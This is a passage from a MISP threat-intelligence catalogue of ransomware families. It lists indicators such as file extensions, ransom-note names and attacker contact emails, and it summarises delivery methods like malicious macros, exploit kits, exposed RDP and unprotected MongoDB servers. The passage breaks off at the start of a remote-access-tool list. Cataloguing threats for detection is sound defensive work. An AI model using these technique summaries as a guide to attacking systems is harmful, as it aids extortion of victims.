Aurora Ransomware
Typical ransom software, Aurora virus plays the role of blackmailing PC operators. It encrypts files and the encryption cipher it uses is pretty strong. After encryption, the virus attaches .aurora at the end of the file names that makes it impossible to open the data. Thereafter, it dispatches the ransom note totaling 6 copies, without any change to the main objective i.e., victims must write an electronic mail addressed to anonimus.mr@yahoo.com while stay connected until the criminals reply telling the ransom amount.
The tag is: misp-galaxy:ransomware="Aurora Ransomware"
Aurora Ransomware is also known as:
-
Zorro Ransomware
PGPSnippet Ransomware
The tag is: misp-galaxy:ransomware="PGPSnippet Ransomware"
Links |
Spartacus Ransomware
The tag is: misp-galaxy:ransomware="Spartacus Ransomware"
Links |
https://id-ransomware.blogspot.com/2018/04/spartacus-ransomware.html |
Donut
S!Ri found a new ransomware called Donut that appends the .donut extension and uses the email donutmmm@tutanota.com.
The tag is: misp-galaxy:ransomware="Donut"
Links |
http://id-ransomware.blogspot.com/2018/06/donut-ransomware.html |
NemeS1S Ransomware
Ransomware as a Service
The tag is: misp-galaxy:ransomware="NemeS1S Ransomware"
Links |
https://id-ransomware.blogspot.com/2017/01/nemesis-ransomware.html |
Paradise Ransomware
MalwareHunterTeam discovered a new Paradise Ransomware variant that uses the extension _V.0.0.0.1{paradise@all-ransomware.info}.prt and drops a ransom note named PARADISE_README_paradise@all-ransomware.info.txt.
The tag is: misp-galaxy:ransomware="Paradise Ransomware"
B2DR Ransomware
uses the .reycarnasi1983@protonmail.com.gw3w amd a ransom note named ScrewYou.txt
The tag is: misp-galaxy:ransomware="B2DR Ransomware"
Links |
https://id-ransomware.blogspot.com/2018/03/b2dr-ransomware.html |
YYTO Ransomware
uses the extension .codyprince92@mail.com.ovgm and drops a ransom note named Readme.txt
The tag is: misp-galaxy:ransomware="YYTO Ransomware"
Links |
http://id-ransomware.blogspot.com/2017/05/yyto-ransomware.html |
Unnamed ramsomware 2
The tag is: misp-galaxy:ransomware="Unnamed ramsomware 2"
Links |
Everbe Ransomware
The tag is: misp-galaxy:ransomware="Everbe Ransomware"
DirCrypt
The tag is: misp-galaxy:ransomware="DirCrypt"
DirCrypt has relationships with:
-
similar: misp-galaxy:malpedia="DirCrypt" with estimative-language:likelihood-probability="likely"
Links |
DBGer Ransomware
The authors of the Satan ransomware have rebranded their "product" and they now go by the name of DBGer ransomware, according to security researcher MalwareHunter, who spotted this new version earlier today. The change was not only in name but also in the ransomware’s modus operandi. According to the researcher, whose discovery was later confirmed by an Intezer code similarity analysis, the new (Satan) DBGer ransomware now also incorporates Mimikatz, an open-source password-dumping utility. The purpose of DBGer incorporating Mimikatz is for lateral movement inside compromised networks. This fits a recently observed trend in Satan’s modus operandi.
The tag is: misp-galaxy:ransomware="DBGer Ransomware"
Links |
http://id-ransomware.blogspot.com/2018/06/dbger-ransomware.html |
RASTAKHIZ
Hidden Tear variant discovered in October 2016. After activation, provides victims with an unlimited amount of time to gather the requested ransom money and pay it. Related unlock keys and the response sent to and from a Gmail addres
The tag is: misp-galaxy:ransomware="RASTAKHIZ"
Links |
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf] |
https://id-ransomware.blogspot.com/2017/11/rastakhiz-ransomware.html |
TYRANT
DUMB variant discovered on November 16, 2017. Disguised itself as a popular virtual private network (VPN) in Iran known as Psiphon and infected Iranian users. Included Farsi-language ransom note, decryptable in the same way as previous DUMB-based variants. Message requested only US$15 for unlock key. Advertised two local and Iran-based payment processors: exchange.ir and webmoney.ir.Shared unique and specialized indicators with RASTAKHIZ; iDefense threat intelligence analysts believe this similarity confirms that the same actor was behind the repurposing of both types of ransomware.
The tag is: misp-galaxy:ransomware="TYRANT"
TYRANT is also known as:
-
Crypto Tyrant
Links |
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf] |
http://id-ransomware.blogspot.com/2017/10/tyrant-ransomware.html |
WannaSmile
zCrypt variant discovered on November 17, 2017, one day after the discovery of TYRANT. Used Farsi-language ransom note asking for a staggering 20 Bitcoin ransom payment. Also advertised local Iran-based payment processors and exchanges—www.exchangeing[.]ir, www.payment24[.]ir, www.farhadexchange.net, and www.digiarz.com)—through which Bitcoins could be acquired.
The tag is: misp-galaxy:ransomware="WannaSmile"
Links |
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf] |
https://id-ransomware.blogspot.com/2017/11/wannasmile-ransomware.html |
Unnamed Android Ransomware
Uses APK Editor Pro. Picks and activates DEX>Smali from APK Editor. Utilizes LockService application and edits the “const-string v4, value” to a desired unlock key. Changes contact information within the ransom note. Once the victim has downloaded the malicious app, the only way to recover its content is to pay the ransom and receive the unlock key.
The tag is: misp-galaxy:ransomware="Unnamed Android Ransomware"
Links |
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf] |
KEYPASS
A new distribution campaign is underway for a STOP Ransomware variant called KeyPass based on the amount of victims that have been seen. Unfortunately, how the ransomware is being distributed is unknown at this time.
The tag is: misp-galaxy:ransomware="KEYPASS"
KEYPASS is also known as:
-
KeyPass
Links |
https://www.bleepingcomputer.com/news/security/new-keypass-ransomware-campaign-underway/ |
STOP Ransomware
Emmanuel_ADC-Soft found a new STOP Ransomware variant that appends the .INFOWAIT extension and drops a ransom note named !readme.txt.
The tag is: misp-galaxy:ransomware="STOP Ransomware"
Links |
https://twitter.com/MarceloRivero/status/1065694365056679936 |
http://id-ransomware.blogspot.com/2017/12/stop-ransomware.html |
Barack Obama’s Everlasting Blue Blackmail Virus Ransomware
A new ransomware that only encrypts .EXE files on a computer. It then displays a screen with a picture of President Obama that asks for a "tip" to decrypt the files.
The tag is: misp-galaxy:ransomware="Barack Obama’s Everlasting Blue Blackmail Virus Ransomware"
Barack Obama’s Everlasting Blue Blackmail Virus Ransomware is also known as:
-
Barack Obama’s Blackmail Virus Ransomware
Links |
https://twitter.com/malwrhunterteam/status/1032242391665790981 |
https://id-ransomware.blogspot.com/2018/08/barack-obamas-ransomware.html |
CryptoNar
When the CryptoNar, or Crypto Nar, Ransomware encrypts a victims files it will perform the encryption differently depending on the type of file being encrypted. If the targeted file has a .txt or .md extension, it will encrypt the entire file and append the .fully.cryptoNar extension to the encrypted file’s name. All other files will only have the first 1,024 bytes encrypted and will have the .partially.cryptoNar extensions appended to the file’s name.
The tag is: misp-galaxy:ransomware="CryptoNar"
CryptoNar has relationships with:
-
similar: misp-galaxy:ransomware="CryptoJoker" with estimative-language:likelihood-probability="likely"
Links |
https://twitter.com/malwrhunterteam/status/1034492151541977088 |
https://id-ransomware.blogspot.com/2018/08/cryptonar-ransomware.html |
CreamPie Ransomware
Jakub Kroustek found what appears to be an in-dev version of the CreamPie Ransomware. It does not currently display a ransom note, but does encrypt files and appends the .[backdata@cock.li].CreamPie extension to them.
The tag is: misp-galaxy:ransomware="CreamPie Ransomware"
Links |
https://twitter.com/JakubKroustek/status/1033656080839139333 |
https://id-ransomware.blogspot.com/2018/08/creampie-ransomware.html |
Jeff the Ransomware
Looks to be in-development as it does not encrypt.
The tag is: misp-galaxy:ransomware="Jeff the Ransomware"
Links |
Cassetto Ransomware
Michael Gillespie saw an encrypted file uploaded to ID Ransomware that appends the .cassetto extension and drops a ransom note named IMPORTANT ABOUT DECRYPT.txt.
The tag is: misp-galaxy:ransomware="Cassetto Ransomware"
Links |
https://id-ransomware.blogspot.com/2018/08/cassetto-ransomware.html |
Acroware Cryptolocker Ransomware
Leo discovered a screenlocker that calls itself Acroware Cryptolocker Ransomware. It does not encrypt.
The tag is: misp-galaxy:ransomware="Acroware Cryptolocker Ransomware"
Acroware Cryptolocker Ransomware is also known as:
-
Acroware Screenlocker
Links |
Termite Ransomware
Ben Hunter discovered a new ransomware called Termite Ransomware. When encrypting a computer it will append the .aaaaaa extension to encrypted files.
The tag is: misp-galaxy:ransomware="Termite Ransomware"
Links |
PICO Ransomware
S!Ri found a new Thanatos Ransomware variant called PICO Ransomware. This ransomware will append the .PICO extension to encrypted files and drop a ransom note named README.txt.
The tag is: misp-galaxy:ransomware="PICO Ransomware"
PICO Ransomware is also known as:
-
Pico Ransomware
Links |
Sigma Ransomware
Today one of our volunteers, Aura, told me about a new new malspam campaign pretending to be from Craigslist that is under way and distributing the Sigma Ransomware. These spam emails contain password protected Word or RTF documents that download the Sigma Ransomware executable from a remote site and install it on a recipients computer.
The tag is: misp-galaxy:ransomware="Sigma Ransomware"
Links |
Crypt0saur
The tag is: misp-galaxy:ransomware="Crypt0saur"
Mongo Lock
An attack called Mongo Lock is targeting remotely accessible and unprotected MongoDB databases, wiping them, and then demanding a ransom in order to get the contents back. While this new campaign is using a name to identify itself, these types of attacks are not new and MongoDB databases have been targeted for a while now. These hijacks work by attackers scanning the Internet or using services such as Shodan.io to search for unprotected MongoDB servers. Once connected, the attackers may export the databases, delete them, and then create a ransom note explaining how to get the databases back.
The tag is: misp-galaxy:ransomware="Mongo Lock"
Links |
Kraken Cryptor Ransomware
The Kraken Cryptor Ransomware is a newer ransomware that was released in August 2018. A new version, called Kraken Cryptor 1.5, was recently released that is masquerading as the legitimate SuperAntiSpyware anti-malware program in order to trick users into installing it.
The tag is: misp-galaxy:ransomware="Kraken Cryptor Ransomware"
Links |
https://twitter.com/MarceloRivero/status/1059575186117328898 |
SAVEfiles
The tag is: misp-galaxy:ransomware="SAVEfiles"
Links |
https://www.bleepingcomputer.com/news/security/fallout-exploit-kit-pushing-the-savefiles-ransomware/ |
File-Locker
The File-Locker Ransomware is a Hidden Tear variant that is targeting victims in Korea. When victim’s are infected it will leave a ransom requesting 50,000 Won, or approximately 50 USD, to get the files back. This ransomware uses AES encryption with a static password of "dnwls07193147", so it is easily decryptable.
The tag is: misp-galaxy:ransomware="File-Locker"
Links |
CommonRansom
A new ransomware called CommonRansom was discovered that has a very bizarre request. In order to decrypt a computer after a payment is made, they require the victim to open up Remote Desktop Services on the affected computer and send them admin credentials in order to decrypt the victim’s files.
The tag is: misp-galaxy:ransomware="CommonRansom"
Links |
God Crypt Joke Ransomware
MalwareHunterTeam found a new ransomware called God Crypt that does not appear to decrypt and appears to be a joke ransomware. Has an unlock code of 29b579fb811f05c3c334a2bd2646a27a.
The tag is: misp-galaxy:ransomware="God Crypt Joke Ransomware"
God Crypt Joke Ransomware is also known as:
-
Godsomware v1.0
-
Ransomware God Crypt
Links |
https://twitter.com/malwrhunterteam/status/1048616343975682048 |
DecryptFox Ransomware
Michael Gillespie found a new ransomware uploaded to ID Ransomware that appends the .encr extension and drops a ransom note named readmy.txt.
The tag is: misp-galaxy:ransomware="DecryptFox Ransomware"
Links |
garrantydecrypt
Michael Gillespie found a new ransomware that appends the .garrantydecrypt extension and drops a ransom note named RECOVERY_FILES.txt
The tag is: misp-galaxy:ransomware="garrantydecrypt"
Links |
MVP Ransomware
Siri discovered a new ransomware that is appending the .mvp extension to encrypted files.
The tag is: misp-galaxy:ransomware="MVP Ransomware"
Links |
StorageCrypter
Michael Gillespie noticed numerous submissions to ID Ransomware from South Korea for the StorageCrypter ransomware. This version is using a new ransom note named read_me_for_recover_your_files.txt.
The tag is: misp-galaxy:ransomware="StorageCrypter"
Links |
Rektware
GrujaRS discovered a new ransomware called Rektware that appends the .CQScSFy extension
The tag is: misp-galaxy:ransomware="Rektware"
Links |
M@r1a ransomware
The tag is: misp-galaxy:ransomware="M@r1a ransomware"
M@r1a ransomware is also known as:
-
M@r1a
-
BlackHeart
Links |
https://twitter.com/malwrhunterteam/status/1058775145005887489 |
"prepending (enc) ransomware" (Not an official name)
The tag is: misp-galaxy:ransomware=""prepending (enc) ransomware" (Not an official name)"
Links |
PyCL Ransomware
The tag is: misp-galaxy:ransomware="PyCL Ransomware"
Links |
Vapor Ransomware
MalwareHunterTeam discovered the Vapor Ransomware that appends the .Vapor extension to encrypted files. Will delete files if you do not pay in time.
The tag is: misp-galaxy:ransomware="Vapor Ransomware"
Links |
https://twitter.com/malwrhunterteam/status/1063769884608348160 |
EnyBenyHorsuke Ransomware
GrujaRS discovered a new ransomware called EnyBenyHorsuke Ransomware that appends the .Horsuke extension to encrypted files.
The tag is: misp-galaxy:ransomware="EnyBenyHorsuke Ransomware"
Links |
DeLpHiMoRix
The tag is: misp-galaxy:ransomware="DeLpHiMoRix"
DeLpHiMoRix is also known as:
-
DelphiMorix
Links |
EnyBeny Nuclear Ransomware
@GrujaRS discovered a new in-dev ransomware called EnyBeny Nuclear Ransomware that meant to append the extension .PERSONAL_ID:.Nuclear to encrypted files, but failed due to a bug.
The tag is: misp-galaxy:ransomware="EnyBeny Nuclear Ransomware"
Links |
Lucky Ransomware
Michael Gillespie discovered a new ransomware that renamed encrypted files to "[original].[random].lucky" and drops a ransom note named How_To_Decrypt_My_File.txt.
The tag is: misp-galaxy:ransomware="Lucky Ransomware"
Links |
WeChat Ransom
Over 100,000 thousand computers in China have been infected in just a few days with poorly-written ransomware that encrypts local files and steals credentials for multiple Chinese online services. The crooks show a screen titled UNNAMED1989 and demand the victim a ransom of 110 yuan ($16) in exchange for decrypting the files, payable via Tencent’s WeChat payment service by scanning a QR code.
The tag is: misp-galaxy:ransomware="WeChat Ransom"
WeChat Ransom is also known as:
-
UNNAMED1989
Links |
Dablio Ransomware
The tag is: misp-galaxy:ransomware="Dablio Ransomware"
Dablio Ransomware has relationships with:
-
similar: misp-galaxy:ransomware="HolyCrypt" with estimative-language:likelihood-probability="likely"
Links |
Gerber Ransomware 1.0
The tag is: misp-galaxy:ransomware="Gerber Ransomware 1.0"
Links |
Gerber Ransomware 3.0
The tag is: misp-galaxy:ransomware="Gerber Ransomware 3.0"
JungleSec
Uses http://ccrypt.sourceforge.net/ encryption program
The tag is: misp-galaxy:ransomware="JungleSec"
Links |
EQ Ransomware
GrujaRS discovered the EQ Ransomware that drops a ransom note named README_BACK_FILES.htm and uses .f**k (censored) as its extension for encrypted files. May be GlobeImposter.
The tag is: misp-galaxy:ransomware="EQ Ransomware"
Links |
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-14th-2018-slow-week/ |
Mercury Ransomware
extension ".Mercury", note "!!!READ_IT!!!.txt" with 4 different 64-char hex as ID, 3 of which have dashes. Possible filemarker, same in different victim’s files.
The tag is: misp-galaxy:ransomware="Mercury Ransomware"
Links |
Forma Ransomware
The tag is: misp-galaxy:ransomware="Forma Ransomware"
Links |
Ryuk ransomware
Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors. However, Ryuk is only used by GRIM SPIDER and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk’s appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD.
The tag is: misp-galaxy:ransomware="Ryuk ransomware"
Links |
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ |
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf |
BitPaymer
In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.’s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy.
The tag is: misp-galaxy:ransomware="BitPaymer"
BitPaymer is also known as:
-
FriedEx
-
IEncrypt
Links |
LockerGoga
The tag is: misp-galaxy:ransomware="LockerGoga"
LockerGoga has relationships with:
-
similar: misp-galaxy:ransomware="Nodera Ransomware" with estimative-language:likelihood-probability="roughly-even-chance"
Links |
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf |
Princess Evolution
We have been observing a malvertising campaign via Rig exploit kit delivering a cryptocurrency-mining malware and the GandCrab ransomware since July 25. On August 1, we found Rig’s traffic stream dropping a then-unknown ransomware. Delving into this seemingly new ransomware, we checked its ransom payment page in the Tor network and saw it was called Princess Evolution (detected by Trend Micro as RANSOM_PRINCESSLOCKER.B), and was actually a new version of the Princess Locker ransomware that emerged in 2016. Based on its recent advertisement in underground forums, it appears that its operators are peddling Princess Evolution as a ransomware as a service (RaaS) and are looking for affiliates. The new malvertising campaign we observed since July 25 is notable in that the malvertisements included Coinhive (COINMINER_MALXMR.TIDBF). Even if users aren’t diverted to the exploit kit and infected with the ransomware, the cybercriminals can still earn illicit profit through cryptocurrency mining. Another characteristic of this new campaign is that they hosted their malvertisement page on a free web hosting service and used domain name system canonical name (DNS CNAME) to map their advertisement domain on a malicious webpage on the service.
The tag is: misp-galaxy:ransomware="Princess Evolution"
Links |
Jokeroo
A new Ransomware-as-a-Service called Jokeroo is being promoted on underground hacking sites and via Twitter that allows affiliates to allegedly gain access to a fully functional ransomware and payment server. According to a malware researcher named Damian, the Jokeroo RaaS first started promoting itself as a GandCrab Ransomware RaaS on the underground hacking forum Exploit.in.
The tag is: misp-galaxy:ransomware="Jokeroo"
Jokeroo is also known as:
-
Fake GandCrab
Links |
GlobeImposter
During December 2017, a new variant of the GlobeImposter Ransomware was detected for the first time and reported on malware-traffic-analysis. At first sight this ransomware looks very similar to other ransomware samples and uses common techniques such as process hollowing. However, deeper inspection showed that like LockPoS, which was analyzed by CyberBit, GlobeImposter too bypasses user-mode hooks by directly invoking system calls. Given this evasion technique is being leveraged by new malware samples may indicate that this is a beginning of a trend aiming to bypass user-mode security products.
The tag is: misp-galaxy:ransomware="GlobeImposter"
Links |
https://www.fortinet.com/blog/threat-research/analysis-of-new-globeimposter-ransomware-variant.html |
BlackWorm
BlackWorm Ransomware is a malicious computer infection that encrypts your files, and then does everything it can to prevent you from restoring them. It needs you to pay $200 for the decryption key, but there is no guarantee that the people behind this infection would really issue the decryption tool for you.
The tag is: misp-galaxy:ransomware="BlackWorm"
Links |
https://spyware-techie.com/blackworm-ransomware-removal-guide |
Tellyouthepass
Tellyouthepass is a ransomware that alters system files, registry entries and encodes personal photos, documents, and servers or archives. Army-grade encryption algorithms get used to change the original code of the file and make the data useless.
The tag is: misp-galaxy:ransomware="Tellyouthepass"
Links |
BigBobRoss
BigBobRoss ransomware is the cryptovirus that requires a ransom in Bitcoin to return encrypted files marked with .obfuscated appendix.
The tag is: misp-galaxy:ransomware="BigBobRoss"
Links |
Planetary
First discovered by malware security analyst, Lawrence Abrams, PLANETARY is an updated variant of another high-risk ransomware called HC7.
The tag is: misp-galaxy:ransomware="Planetary"
Links |
https://www.pcrisk.com/removal-guides/12121-planetary-ransomware |
Cr1ptT0r
Cr1ptT0r Ransomware Targets NAS Devices with Old Firmware.
The tag is: misp-galaxy:ransomware="Cr1ptT0r"
Cr1ptT0r is also known as:
-
Criptt0r
-
Cr1pt0r
-
Cripttor
Links |
https://www.coveware.com/blog/2019/3/13/cr1ptt0r-ransomware-targets-nas-devices-with-old-firmware |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cr1ptt0r |
Sodinokibi
Attackers are actively exploiting a recently disclosed vulnerability in Oracle WebLogic to install a new variant of ransomware called "Sodinokibi." Sodinokibi attempts to encrypt data in a user’s directory and delete shadow copy backups to make data recovery more difficult. Oracle first patched the issue on April 26, outside of their normal patch cycle, and assigned it CVE-2019-2725. This vulnerability is easy for attackers to exploit, as anyone with HTTP access to the WebLogic server could carry out an attack. Because of this, the bug has a CVSS score of 9.8/10. Attackers have been making use of this exploit in the wild since at least April 17. Cisco’s Incident Response (IR) team, along with Cisco Talos, are actively investigating these attacks and Sodinokibi.
The tag is: misp-galaxy:ransomware="Sodinokibi"
Sodinokibi is also known as:
-
REvil
-
Revil
Links |
https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html |
Phobos
Phobos exploits open or poorly secured RDP ports to sneak inside networks and execute a ransomware attack, encrypting files and demanding a ransom be paid in bitcoin for returning the files, which in this case are locked with a .phobos extension.
The tag is: misp-galaxy:ransomware="Phobos"
Links |
GetCrypt
A new ransomware is in the dark market which encrypts all the files on the device and redirects victims to the RIG exploit kit.
The tag is: misp-galaxy:ransomware="GetCrypt"
Links |
https://www.ehackingnews.com/2019/05/getcrypt-ransomware-modus-operandi-and.html |
Nemty
A new ransomware family dubbed “Nemty” for the extension it adds to encrypted files has recently surfaced in the wild. According to a report from Bleeping Computer, New York-based reverse engineer Vitali Kremez posits that Nemty is possibly delivered through exposed remote desktop connections.
The tag is: misp-galaxy:ransomware="Nemty"
Links |
Buran
Buran is a new version of the Vega ransomware strain (a.k.a. Jamper, Ghost, Buhtrap) that attacked accountants from February through April 2019. The new Buran ransomware first was discovered by nao_sec in June 2019, delivered by the RIG Exploit Kit, as reported by BleepingComputer.
The tag is: misp-galaxy:ransomware="Buran"
Links |
https://www.acronis.com/en-us/blog/posts/meet-buran-new-delphi-ransomware-delivered-rig-exploit-kit |
Hildacrypt
The Hildacrypt ransomware encrypts the victim’s files with a strong encryption algorithm and the filename extension .hilda until the victim pays a fee to get them back.
The tag is: misp-galaxy:ransomware="Hildacrypt"
Links |
https://securitynews.sonicwall.com/xmlpost/hildacrypt-ransomware-actively-spreading-in-the-wild/ |
Mr.Dec
Mr. Dec ransomware is cryptovirus that was first spotted in mid-May 2018, and since then was updated multiple times. The ransomware encrypts all personal data on the device with the help of AES encryption algorithm and appends .[ID]random 16 characters[ID] file extension, preventing from their further usage.
The tag is: misp-galaxy:ransomware="Mr.Dec"
Mr.Dec is also known as:
-
MrDec
-
Sherminator
Links |
https://id-ransomware.blogspot.com/2018/05/mrdec-ransomware.html |
Freeme
Freezing crypto ransomware encrypts user data using AES, and then requires a ransom in # BTC to return the files. Original title: not indicated in the note. The file says: FreeMe.exe
The tag is: misp-galaxy:ransomware="Freeme"
Freeme is also known as:
-
Freezing
Links |
http://id-ransomware.blogspot.com/2019/06/freeme-freezing-ransomware.html |
DoppelPaymer
We have dubbed this new ransomware DoppelPaymer because it shares most of its code with the BitPaymer ransomware operated by INDRIK SPIDER. However, there are a number of differences between DoppelPaymer and BitPaymer, which may signify that one or more members of INDRIK SPIDER have split from the group and forked the source code of both Dridex and BitPaymer to start their own Big Game Hunting ransomware operation.
The tag is: misp-galaxy:ransomware="DoppelPaymer"
Links |
https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/ |
https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer |
Desync
This crypto ransomware encrypts enterprise LAN data with AES (ECB mode), and then requires a ransom in # BTC to return the files.
The tag is: misp-galaxy:ransomware="Desync"
Links |
https://id-ransomware.blogspot.com/2019/01/unnamed-desync-ransomware.html |
Maze
Maze Ransomware encrypts files and makes them inaccessible while adding a custom extension containing part of the ID of the victim. The ransom note is placed inside a text file and an htm file. There are a few different extensions appended to files which are randomly generated.
The tag is: misp-galaxy:ransomware="Maze"
Links |
https://www.bleepingcomputer.com/news/security/maze-ransomware-now-delivered-by-spelevo-exploit-kit/ |
Cyborg Ransomware
Ransomware delivered using fake Windows Update spam
The tag is: misp-galaxy:ransomware="Cyborg Ransomware"
Links |
FTCode
A targeted email campaign has been spotted distributing the JasperLoader to victims. While the JasperLoader was originally used to then install Gootkit, Certego has observed it now being used to infect victims with a new ransomware dubbed FTCODE. Using an invoice-themed email appearing to target Italian users, the attackers attempt to convince users to allow macros in a Word document. The macro is used to run PowerShell to retrieve additional PowerShell code.
The tag is: misp-galaxy:ransomware="FTCode"
Links |
https://exchange.xforce.ibmcloud.com/collection/FTCODE-Ransomware-45dacdc2d5cf30722ced20b9d37988c2 |
Clop
Observed for the first time in Febuary 2019, variant from CryptoMix Family, itself a variation from CryptXXX and CryptoWall family
The tag is: misp-galaxy:ransomware="Clop"
Links |
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf |
5ss5c Ransomware
The cybercrime group that brought us Satan, DBGer and Lucky ransomware and perhaps Iron ransomware, has now come up with a new version or rebranding named 5ss5c. […] It will however only encrypt files with the following extensions: 7z, bak, cer, csv, db, dbf, dmp, docx, eps, ldf, mdb, mdf, myd, myi, ora, pdf, pem, pfx, ppt, pptx, psd, rar, rtf, sql, tar, txt, vdi, vmdk, vmx, xls, xlsx, zip
The tag is: misp-galaxy:ransomware="5ss5c Ransomware"
Links |
https://bartblaze.blogspot.com/2020/01/satan-ransomware-rebrands-as-5ss5c.html |
Nodera Ransomware
Nodera is a ransomware family that uses the Node.js framework and was discovered by Quick Heal researchers. The infection chain starts with a VBS script embedded with multiple JavaScript files. Upon execution, a directory is created and both the main node.exe program and several required NodeJS files are downloaded into the directory. Additionally, a malicious JavaScript payload that performs the encryption process is saved in this directory. After checking that it has admin privileges and setting applicable variables, the malicious JavaScript file enumerates the drives to create a list of targets. Processes associated with common user file types are stopped and volume shadow copies are deleted. Finally, all user-specific files on the C: drive and all files on other drives are encrypted and are appended with a .encrypted extension. The ransom note containing instructions on paying the Bitcoin ransom are provided along with a batch script to be used for decryption after obtaining the private key. Some mistakes in the ransom note identified by the researchers include the fact that it mentions a 2048-bit RSA public key instead of 4096-bit (the size that was actually used), a hard-coded private key destruction time dating back almost 2 years ago, and a lack of instructions for how the private key will be obtained after the ransom is paid. These are signs that the ransomware may be in the development phase and was likely written by an amateur. For more information, see the QuickHeal blog post in the Reference section below.
The tag is: misp-galaxy:ransomware="Nodera Ransomware"
Nodera Ransomware is also known as:
-
Nodera
Links |
https://exchange.xforce.ibmcloud.com/collection/6f18908ce6d9cf4efb551911e00d9ec4 |
https://blogs.quickheal.com/first-node-js-based-ransomware-nodera/ |
MegaCortex
Discovered in May 2019. dropped throught networks compromised by trojan like Emotet or TrickBot. Tools and methods used are similar to LockerGoga
The tag is: misp-galaxy:ransomware="MegaCortex"
MegaCortex has relationships with:
-
similar: misp-galaxy:ransomware="LockerGoga" with estimative-language:likelihood-probability="roughly-even-chance"
Links |
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf |
RobinHood
Detected in April 2019. Known for paralyzing the cities of Baltimore and Greenville. Probably also exfiltrate data
The tag is: misp-galaxy:ransomware="RobinHood"
Links |
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf |
Bart ransomware
Bart ransomware is distributed by the same Russian Cyber Mafia behind Dridex 220 and Locky. Bart doesn’t communicate with a command and control (C&C) server, so it can encrypt files without being connected to a computer. Bart is spread to end users via phishing emails containing .zip attachments with JavaScript Code and use social engineering to trick users into opening the 'photo' attachments. The zipped files are obfuscated to make it more hard to tell what actions they are performing. See screenshot above for an example of what they look like. If opened, these attachments download and install the intermediary loader RockLoader which downloads Bart onto the machine over HTTPS. Once executed, it will first check the language on the infected computer. If the malware detects Russian, Belorussian, or Ukrainian, the ransomware will terminate and will not proceed with the infection. If it’s any other language, it will start scanning the computer for certain file extensions to encrypt. Because Bart does not require communication with C&C infrastructure prior to encrypting files, Bart could possibly encrypt machines sitting behind corporate firewalls that would otherwise block such traffic. Thus, organizations need to ensure that Bart is blocked at the email gateway using rules that block zipped executables.
The tag is: misp-galaxy:ransomware="Bart ransomware"
Bart ransomware is also known as:
-
Locky Bart
Links |
Razor
Razor was discovered by dnwls0719, it is a part of Garrantydecrypt ransomware family. Like many other programs of this type, Razor is designed to encrypt files (make them unusable/inaccessible), change their filenames, create a ransom note and change victim’s desktop wallpaper. Razor renames files by appending the ".razor" extension to their filenames. For example, it renames "1.jpg" to "1.jpg.razor", and so on. It creates a ransom note which is a text file named "RECOVERY.txt", this file contains instructions on how to contact Razor’s developers (cyber criminals) and other details. As stated in the "RECOVERY.txt" file, this ransomware encrypts all files and information about how to purchase a decryption tool can be received by contacting Razor’s developers. Victims supposed to contact them via razor2020@protonmail.ch, Jabber client (razor2020@jxmpp.jp) or ICQ client (@razor2020) and wait for further instructions. It is very likely that they will name a price of a decryption tool and/or key and provide cryptocurrency wallet’s address that should be used to make a transaction. However, it is never a good idea to trust (pay) any cyber criminals/ransomware developers. It is common that they do not provide decryption tools even after a payment. Another problem is that ransomware-type programs encrypt files with strong encryption algorithms and their developers are the only ones who have tools that can decrypt files encrypted by their ransomware. In most cases victims have the only free and safe option: to restore files from a backup. Also, it is worth mentioning that files remain encrypted even after uninstallation of ransomware, its removal only prevents it from causing further encryptions.
The tag is: misp-galaxy:ransomware="Razor"
Links |
https://www.pcrisk.com/removal-guides/17016-razor-ransomware |
RAT
remote administration tool or remote access tool (RAT), also called sometimes remote access trojan, is a piece of software or programming that allows a remote "operator" to control a system as if they have physical access to that system..
RAT is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Various - raw-data
TeamViewer
TeamViewer is a proprietary computer software package for remote control, desktop sharing, online meetings, web conferencing and file transfer between computers.
The tag is: misp-galaxy:rat="TeamViewer"
Links |
JadeRAT
